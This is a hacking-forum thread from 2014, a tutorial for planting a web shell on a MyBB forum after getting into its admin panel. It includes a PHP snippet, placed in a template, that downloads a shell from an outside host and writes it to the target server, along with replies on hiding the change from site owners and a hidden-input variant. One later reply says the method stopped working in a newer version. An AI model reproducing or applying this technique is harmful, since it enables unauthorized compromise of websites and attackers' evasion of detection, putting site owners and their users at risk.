+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Tutorial Uploading a shell via the MyBB admin panel. (/Thread-Tutorial-Uploading-a-shell-via-the-MyBB-admin-panel)
Uploading a shell via the MyBB admin panel. - Lain - 02-18-2014
The Background
So, you've gained access to the forum's admin panel, but now you want to upload a shell.
What you'll need.
A hosted shell, saved as a .txt file.
Access to the target's MyBB control panel.
How to do it.
Login to the Admin control panel. Navigate to Templates & Style > Templates > [THEIR THEME NAME] Templates > Calendar Templates > Calendar
Now, modify the following with the URL of your hosted shell:
PHP Code:
<?php
$shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt');
file_put_contents("shell.php", $shelly);
echo $shelly;
?>Click save and open calender.php (yourvictim.com/calendar.php), then you can navigate to (yourvictim.com/shell.php) and congratulations, you did it!
If you need any help with this, be sure to let me know. :3
RE: Uploading a shell via the MyBB admin panel. - Satan - 02-18-2014
How would you switch it back to the normal calendar so it doesn't raise suspicion, just saving the original text of the file itself?
Or does it not overwrite the calendar?
RE: Uploading a shell via the MyBB admin panel. - 3SidedSquare - 02-18-2014
Code:
function doit()
{
<?php
$shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt');
file_put_contents("shell.php", $shelly);
echo $shelly;
?>
}
echo "<input type=\"text\" onkeypress=\"doit()\" width=0 height=0>";RE: Uploading a shell via the MyBB admin panel. - Satan - 02-18-2014
(02-18-2014, 06:33 PM)3SidedSquare Wrote:I'm sure there are better ways, but this is what I came up with off the top of my head.Code:function doit() { <?php $shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt'); file_put_contents("shell.php", $shelly); echo $shelly; ?> } echo "<input type=\"text\" onkeypress=\"doit()\" width=0 height=0>";
I don't know PHP, so I have no clue what this would do, or if it was even a reply to what I had asked about lol.
Can you provide an explanation of what it does?
RE: Uploading a shell via the MyBB admin panel. - Lain - 02-18-2014
(02-18-2014, 06:33 PM)3SidedSquare Wrote:I'm sure there are better ways, but this is what I came up with off the top of my head.Code:function doit() { <?php $shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt'); file_put_contents("shell.php", $shelly); echo $shelly; ?> } echo "<input type=\"text\" onkeypress=\"doit()\" width=0 height=0>";
That wouldn't work. Once in the browser, there's no access to PHP functions without JavaScript.
(02-18-2014, 06:12 PM)Satan Wrote: How would you switch it back to the normal calendar so it doesn't raise suspicion, just saving the original text of the file itself?
Or does it not overwrite the calendar?
You could include the code at the top of the calendar templates.
RE: Uploading a shell via the MyBB admin panel. - Satan - 02-18-2014
(02-18-2014, 09:49 PM)Poochy Wrote: That wouldn't work. Once in the browser, there's no access to PHP functions without JavaScript.
You could include the code at the top of the calendar templates.
Ahh okay, thanks. Didn't even think about that.
RE: Uploading a shell via the MyBB admin panel. - BreShiE - 02-19-2014
(02-18-2014, 06:12 PM)Satan Wrote: How would you switch it back to the normal calendar so it doesn't raise suspicion, just saving the original text of the file itself?
Or does it not overwrite the calendar?
It doesn't overwrite the calender. If you read the code you can clearly tell this. It grabs the text from the uploaded .txt file, and uploads it to "shell.php".
RE: Uploading a shell via the MyBB admin panel. - Lotus Black - 02-19-2014
Thanks for this tutorials, Bro
RE: Uploading a shell via the MyBB admin panel. - Lain - 02-19-2014
(02-19-2014, 09:20 AM)Lotus Black Wrote: Thanks for this tutorials, Bro
No problem, Mang.
RE: Uploading a shell via the MyBB admin panel. - pr0st - 04-20-2014
doesn't work anymore. I guess it was fixed in 1.6.12